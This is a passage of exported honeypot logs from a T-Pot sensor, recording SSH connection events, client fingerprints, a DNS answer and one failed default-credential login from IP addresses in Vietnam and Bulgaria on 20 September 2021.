25815	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:52.193915+03	2021-09-20 14:15:12.472645+03	{"_id": "DAbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e25091ee4922", "@version": "1", "duration": 3.5048627853393555, "timestamp": "2021-09-20T11:10:52.193915Z", "@timestamp": "2021-09-20T11:10:52.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25816	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:52.230097+03	2021-09-20 14:15:12.473646+03	{"_id": "DQbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "db949f800bfa", "@version": "1", "duration": 3.6580700874328613, "timestamp": "2021-09-20T11:10:52.230097Z", "@timestamp": "2021-09-20T11:10:52.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25817	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:52.26984+03	2021-09-20 14:15:12.474646+03	{"_id": "DgbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "459e45d334af", "@version": "1", "timestamp": "2021-09-20T11:10:52.269840Z", "@timestamp": "2021-09-20T11:10:52.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25818	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:52.856789+03	2021-09-20 14:15:12.475646+03	{"_id": "EwbmAnwBvYTbRNuE0B2y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "650e5c6f5dca", "@version": "1", "duration": 3.2145960330963135, "timestamp": "2021-09-20T11:10:52.856789Z", "@timestamp": "2021-09-20T11:10:52.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25819	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:53.299738+03	2021-09-20 14:15:12.476646+03	{"_id": "GQbmAnwBvYTbRNuE0B2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6869da236584", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:53.299738Z", "@timestamp": "2021-09-20T11:10:53.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25820	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:10:45.780039+03	2021-09-20 14:15:12.477646+03	{"_id": "bwbmAnwBvYTbRNuEsxyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 13930, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2001, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 495211544693602, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44305, "timestamp": "2021-09-20T11:10:45.780039Z", "@timestamp": "2021-09-20T11:10:45.780Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25826	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:47.701465+03	2021-09-20 14:15:12.484645+03	{"_id": "qwbmAnwBvYTbRNuEvRwj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [webmaster/password] failed", "session": "b14e47526fa5", "@version": "1", "password": "password", "username": "webmaster", "timestamp": "2021-09-20T11:10:47.701465Z", "@timestamp": "2021-09-20T11:10:47.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25821	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:45.806098+03	2021-09-20 14:15:12.478646+03	{"_id": "cAbmAnwBvYTbRNuEsxyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1981083398038441, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39456, "dest_port": 22, "timestamp": "2021-09-20T11:10:45.806098Z", "@timestamp": "2021-09-20T11:10:45.806Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25822	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:45.806141+03	2021-09-20 14:15:12.479645+03	{"_id": "cgbmAnwBvYTbRNuEtBzA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39456, "timestamp": "2021-09-20T11:10:45.806141", "@timestamp": "2021-09-20T11:10:45.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25823	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:45.80632+03	2021-09-20 14:15:12.481647+03	{"_id": "cQbmAnwBvYTbRNuEtBzA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39456, "dest_port": 22, "timestamp": "2021-09-20T11:10:45.806320", "@timestamp": "2021-09-20T11:10:45.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25824	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:46.294517+03	2021-09-20 14:15:12.482645+03	{"_id": "mAbmAnwBvYTbRNuEtxyQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1434669068658606, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52948, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.294517Z", "@timestamp": "2021-09-20T11:10:46.294Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25825	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:46.249482+03	2021-09-20 14:15:12.483646+03	{"_id": "ngbmAnwBvYTbRNuEuByq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7149, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.249482", "@timestamp": "2021-09-20T11:10:46.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25827	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.490843+03	2021-09-20 14:15:12.485645+03	{"_id": "vQbmAnwBvYTbRNuEvRwj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", 